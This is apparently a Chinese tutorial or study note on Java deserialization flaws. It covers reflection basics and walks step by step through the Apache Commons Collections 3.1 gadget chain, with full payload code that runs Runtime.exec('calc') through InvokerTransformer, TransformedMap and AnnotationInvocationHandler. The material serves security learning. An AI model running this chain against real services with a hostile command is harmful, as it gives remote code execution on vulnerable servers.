- Java反序列化漏洞
- 序列化与反序列化
- 反射
- 基本概念
- 反射和new的区别
- 反序列化漏洞
- 准备
- transformer
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
漏洞产生原因:
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式:
1.入口类的readObject直接调用危险方法。
2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。(套娃)
序列化与反序列化创建三个类,Person,SerializationTest,UnserializationTest,还有一个file ser.bin,用来写入和读取序列化字符串。
Person:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable{
public String name;
private int age;
public Person(){
}
public Person(String name,int age){
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
SerializationTest:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person( "aa",22);
System.out.println(person);
serialize(person);
}
}
UnserializationTest:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializationTest {
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
先运行序列化,再运行反序列化,在person类反序列化过程中自动调用了readObject方法,运行了计算器。
反射 基本概念正射:实例化对象
反射:通过对象知道类的所有属性和方法
反射的作用:让java具有动态性
修改已有对象的属性、动态生成对象、动态调用方法、操作内部类和私有方法
反射的四种创建对象的方法:
1.对象.getClass()
- 假如obj是实例:获取该实例的class(如Runtime.getRuntime().getClass()结果就是class java.lang.Runtime类)(此处类的意思实际上时class这个类的对象)
- 假如obj是类:获取到java.lang.Class类(class这个类的对象)
Person person = new Student(); Class person1 = person.getClass();
2.Class.forName()
如果知道类的名字,可以直接使用forName来获取。
Class person1 = Class.forName("java.lang.Runtime")//参数是包名+类名,成为完整路径
3.类名.class()
Test是一个已经加载的类,想获取它的java.lang.Class对象,直接拿取class参数即可。(这不是反射机制)
Classperson1 = Student.Class;
4.类加载器
ClassLoader c1 = this.getClass.getClassLoader();
Class clazz = c1.loadClass("com.Student");
Student student = (Student)clazz.newInstance();
反射中会经常使用到的方法:
1、获取Class实例的方式 方式1:调用运行时类的属性 .class 方式2:通过运行时的对象调用getClass() 方式3:调用Class的静态方法:forName(String classPath) 方式4:使用类的加载器 classloader 2、创建运行时类的对象 newInstance() 调用此方法,创建对应的运行时类的对象 3、获取运行时类的结构 getFields() 获取当前运行时类及其父类中声明为public访问权限的属性 getDeclaredFields() 获取当前运行时类中声明的所有属性,不包含父类 getMethods() 获取当前运行时类及其所有父类声明为public的方法 getDeclaredMethods() 获取当前运行时类中声明的方法,不包含父类 getConstructors() 获取当前运行时类声明为public的构造器 getDeclaredConstructors() 获取当前运行时类中声明的所有构造器 invoke()方法允许调用包装在当前Method对象中的方法
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception{
Person person = new Person();
Class c = person.getClass(); //c是person的原型
//反射就是操作Class
//从原型c实例化对象
//c,newInstance();
Constructor personconstructor = c.getConstructor(String.class,int.class);
Person p = (Person) personconstructor.newInstance("abc",22);
System.out.println(p);
//获取类里面属性
Field[] personfields = c.getDeclaredFields();
for (Field f:personfields){
System.out.println(f);
}
Field namefield = c.getDeclaredField("age");
namefield.setAccessible(true);
namefield.set(p,25);
System.out.println(p);
//调用类里面方法
Method[] personmethods = c.getMethods();
for (Method m:personmethods){
System.out.println(m);
}
Method actionmethod = c.getMethod("action",String.class);
actionmethod.invoke(p,"asdasadssd");
}
}
反射和new的区别
1.反射和new都是创建对象实例的,但是new对象无法调用该类里面私有private的属性,而反射可以调用类中private的属性!
2.new属于静态编译。就是在编译的时候把所有的模块都确定,如果有添加或删除某些功能,需要重新编译。但系统不可能一次就把把它设计得很完美,当发现需要更新某些功能时,采用静态编译的话,需要把整个程序重新编译一次才可以实现功能的更新。也就是说,用户需要把以前的软件卸载了,再重新安装才会重新编译!这样的系统耦合严重,难以扩展!
3.反射属于动态编译。在运行时确定类型并创建对象,通过反射指定模板,动态的向模板中传入要实例化的对象。动态编译最大限度发挥了Java的灵活性,体现了多态的应用,有以降低类之间的藕合性。其中spring中ioc的核心就是利用了反射解耦合。
4.反射效率较低,但经过jdk很多版本的优化,效率已经很高了!
不使用反射,而使用new创建对象。这种写法的缺点是当我们再添加一个子类的时候,就需要修改工厂类了。:
//接口 fruit
interface fruit{
public abstract void eat();
}
//实现类 Apple
class Apple implements fruit{
public void eat(){
System.out.println("Apple");
}
}
//实现类 Orange
class Orange implements fruit{
public void eat(){
System.out.println("Orange");
}
}
//构造工厂类
//也就是说以后如果我们在添加其他的实例的时候只需要修改工厂类就行了
class Factory{
public static fruit getInstance(String fruitName){
fruit f=null;
if("Apple".equals(fruitName)){
f=new Apple();
}
if("Orange".equals(fruitName)){
f=new Orange();
}
return f;
}
}
class hello{
public static void main(String[] a){
fruit f=Factory.getInstance("Orange");
f.eat();
}
}
下面用反射机制实现工厂模式。这样使用反射的方式,无论我们创建多少fruit的实例,都不需要修改反射生成的工厂模板,有效的降低了系统耦合性!
interface fruit{
public abstract void eat();
}
class Apple implements fruit{
public void eat(){
System.out.println("Apple");
}
}
class Orange implements fruit{
public void eat(){
System.out.println("Orange");
}
}
class Factory{
public static fruit getInstance(String ClassName){
fruit f=null;
try{
//工厂中使用反射!
f=(fruit)Class.forName(ClassName).newInstance();
}catch (Exception e) {
e.printStackTrace();
}
return f;
}
}
class hello{
public static void main(String[] a){
fruit f=Factory.getInstance("Reflect.Apple");
if(f!=null){
f.eat();
}
}
}
总结:大概意思就是当要修改某个类或者接口时,除了类的代码要改,工厂(用到这个类的地方)如果使用new来实例化对象的话也要改,但如果工厂中用反射就可以动态获得对象,不需要再进行修改。
反序列化漏洞 准备Apache Commons Collections是Apache Commons的组件,该漏洞的问题主要出现在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一个InvokerTransformer实现了Transformer接口,主要作用为调用Java的反射机制来调用任意函数。
影响组件版本:<=3.1
下载地址:https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip
transformertransformer是commons-collections包的一个接口,有一个transform方法。
ConstantTransformer、InvokerTransformer、ChainedTransformer均实现了该接口,这三个类里面都有一个自定义的Transform方法。
ConstantTransformer该类的构造函数传入一个值并把它赋值给iConstant,在transform方法中返回iConstant的值。transform中传入的参数实际上并没有用到。用这个transform返回的是构造函数时传入的值。
InvokerTransformer是反序列化能执行任意代码的关键。
构造函数如下,传入三个变量:方法名,参数类型,参数值。如下图,该类的transform作用是传入一个对象,利用反射调用对象的方法。
写一个简单的例子利用InvokerTransformer执行命令。通过InvokerTransformer执行了Runtime对象的exec方法,传入参数"calc"执行系统命令,弹出计算器。
以上写法直接实例化了一个Runtime对象,但是Runtime类并没有实现序列化接口(可以去看源码),也就是说,Runtime实例对象不能够被序列化,因此在构建Payload的时候,尽量在程序中不要出现Runtime实例化出来的对象。
通过例子和对transform的代码进行分析,可得到如下结论
Object o = 对象;
InvokerTransformer tran = new InvokerTransformer("方法",
new Class[] {参数类型},
new Object[] {"参数值"});
tran.transform(对象);
这面代码最终执行为 对象.方法(参数值)。
ChainedTransformerChainedTransformer构造函数中传入的参数是transformer数组。最关键的是他的transform函数,里面的for循环的意思遍历传进来的transformer数组,不停更新object,前一个输出是后一个的输入。
例如:
ChainedTransformer ct = new ChainedTransformer(
new ConstantTransformer(参数),
new InvokerTransformer(参数);
ct.transform("123");
执行过程如下:
1 ct.transform(“123”)
2 ConstantTransformer(参数).transform(“123”)
3 InvokerTransformer(参数).transform(ConstantTransformer(参数).transform(“123”))
由此特性可以构造一条链。
#### 主要攻击链的Payload分析
参考:
https://lalajun.github.io/2019/08/19/java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/
https://xz.aliyun.com/t/4711
构造链(payload)如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取java.lang.class
new ConstantTransformer(Runtime.class),//??这里为什么传入的Runtime.class而不 是Runtime???还没搞懂...下面会讲
//执行Runtime.class.getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//执行Runtime.class.getMethod("getRuntime").invoke()
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//执行Runtime.class.getMethod("getRuntime").invoke().exec
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("123");
}
}
payload中第一步生成的transformers数组的效果等价于下面代码,且前一个input的输出是后一个input的输入。
transformers[1]
input.getMethod("getRuntime", null)
transformers[2]
input.invoke(null, null);
transformers[3]
input.exec("calc.exe");
对链继续分析,为什么最终能实现
Runtime.getRuntime.exec("clac.exe")
这里的难点其实就在于反射的过程。实际上,要将以上语句按照反射来执行,要变形如下:
public class Test {
public static void main(String[] args) throws Exception {
Class cl = Runtime.class();//获取Runtime的类对象,还是Runtime
Object runtime = cl.getMethod("getRuntime").invoke(cl);//创建Runtime.getRuntime()方法,因为Runtime无法直接实例化对象,需要用getRuntime()方法实例化一个对象。
cl.getMethod("exec",String.class).invoke(runtime,"calc.exe"); //通过反射执行Runtime.getRuntime里的exec("clac.exe")
}
但是,这里有一个问题在于我们得不到 !
Class cl = Runtime.class()
仔细看Invokertransformer中的函数,对transform(input)函数中传入的参数input,是进行了input.getClass,而不是.class。所以这里的input要传入Runtime.class,cls在赋值后得到是Class类。
好了,现在可以开始poc中的代码是怎么一步步实现的。
首先,数组中第一个值ConstantTransformer(Runtime.class)返回的是Runtime.class,经过它的transform(“123”)函数后依然是返回Runtime.class,这个返回值是数组中下一个值的input,这里不过多解释。
然后执行InvokerTransformer(…)构造函数,然后执行这个类的transform(input),也就是transform(Runtime.class)
Class cls = Runtime.class.getClass();//这里得到的是java.lang.Class
Method method = cls.getMethod("getMethod",new Class[] {String.class, Class[].class});
return method.invoke(Runtime.class,"getRuntime", new Class[0] );
上面代码执行完后得到的是Runtime.getRuntime()。
这里其实是上面所讲的常规的反射的变形。
正常情况下,我们可以直接通过以下语句实现Runtime.getRuntime()
Class cls = Runtime.class;
cls.getMethod("getRuntime").invoke(cls)
但是Transform函数第一步是,如果按照正常流程会报错,因为java.lang.Class中没有getRuntime()这个方法
Class cls = Runtime.class.getClass();//得到的是java.lang.Class
cls.getMethod("getRuntime").invoke(cls);
这里用的就是一个骚操作了,大致思路是:
因为java.lang.Class和java.lang.Runtime中都有getMethod()方法,所以先从java.lang.Class中取出getMethod()方法,命名为method,通过反射构造出成java.lang.Runtime的getMethod方法,把getRuntime作为参数。个人认为这么绕的一步是为了绕过Class cls = input.class,实际上返回的是,这也是下一个transform的input:
Runtime.class.getMethod("getRuntime")
这里我们已经找到到了Runtime.getRuntime()方法,但仅仅是找到,还没有调用这个方法去获得Runtime的对象。可以理解为Runtime.getRuntime()还在等待激活。
下一步,参数传进去后运行的是:
Class cls = Runtime.class.getMethod("getRuntime").getClass();//class java.lang.reflect.Method
Method method = cls.getMethod("invoke", new Class[] {Object.class, Object[].class });
return method.invoke(Runtime.class.getMethod("getRuntime"), null, new Object[0])
实际上返回的是,Runtime.class.getMethod(“getRuntime”)可以等同于Runtime.getRuntime()。
Runtime.class.getMethod("getRuntime").getClass().getMethod
("invoke",new Class[] {Object.class, Object[].class }).
invoke(Runtime.class.getMethod("getRuntime"),null, new Object[0]);
这一步的作用是调用第一步找到的Runtime.getRuntime()的方法,方法执行后会返回一个Runtime.getRuntime()的对象,作为第三步的input。
第三步就很简单了,就是一个普通的反射执行我们的目标代码。
Class cls = Runtime.getRuntime().getClass();//Runtime.getRuntime()实际上是Runtime的一个对象
Method method = cls.getMethod("exec", String.class);
return method.invoke(Runtime.getRuntime(), "calc")
至此,整条链就分析完成了,不得不说,真的妙。感觉本来是个1+1的问题,但是要用1+1412342-1+1-1412341来解决,个人感觉主要是这个地方需要绕过。
#### 具体反序列化攻击链分析
先上Payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class InvokerTransformerDemo {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
Map innermap = new HashMap();
innermap.put("value","lsf");
Map outermap =TransformedMap.decorate(innermap,null,ct);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outermap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
经过上面只要攻击链分析
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("123");
我们只要构造出 ChainedTransformer对象,并执行chainedTransformer.transform()方法即可实现攻击,那接下的目标就是找入口(重写的readObejct),然后再找到可以最终调用chainedTransformer.transform()的地方。
根据大佬的Payload,大致流程如下:
1.AnnotationInvocationHandler类的readObject方法调用了setValue()方法。
2.AbstractInputCheckedMapDecorator类的setValue()*(这里我下载的代码里没找到这个函数…)*自动调用checkSetValue()方法。
3.TransformedMap类继承了AbstractInputCheckedMapDecorator类,它重写的checkSetValue()调用了valueTransformer.transform(object)方法。
4.TransformedMap类中可以通过decorate()构造函数传入valueTransformer的值。那我们只要把构造好的chainedTransformer传给valueTransformer就可以了。
5.中间各种类构造调用的过程太过复杂,需要跟进每个函数进行分析,这里不分析了。具体分析可以参考:
https://zhuanlan.zhihu.com/p/389252470
整个调用链如下:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()



